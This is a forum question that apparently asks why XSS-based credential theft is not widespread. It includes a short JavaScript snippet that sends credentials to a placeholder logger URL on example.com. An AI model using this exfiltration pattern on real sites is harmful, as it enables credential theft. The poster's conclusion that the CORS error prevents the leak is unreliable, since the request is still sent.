Well, I've been thinking about this for a while now.
Within the last decade, we've used various ways to make our websites look dynamic and live. For example, in JavaScript, it's quite easy to send data to a remote server using AJAX, even easier with Websockets.
Example for some malicious AJAX:
xmlHttp = new XMLHttpRequest();
function process() {
var secret = getCredentials();
if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
xmlHttp.send(null);
}
else
setTimeout("process()", 1000);
}
Also, all of you will most likely agree with me that handling user input is a very common task that can be accomplished by using just a few lines of JavaScript.
So, then, why is that we don't see any amateurs try to perform XSS attacks that try to send our keyboard input to a webserver in the background in order to retrieve our login data?
Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit, forcing us to change our login credentials in extremely short time spans?
Are all of our websites just so well-secured?
TL;DR: Why don't we need to change passwords every few days because of seemingly trivial XSS attacks?
Edit:
As for AJAX, it seems that HTTP handles this issue just fine:
XMLHttpRequest cannot load http://example.com/logger.php?password.
No 'Access-Control-Allow-Origin' header is present on the requested
resource.
So at least for HTTP requests, this doesn't seem to be a problem. But as far as I know, websockets don't care about the source that they're reached from, or do they?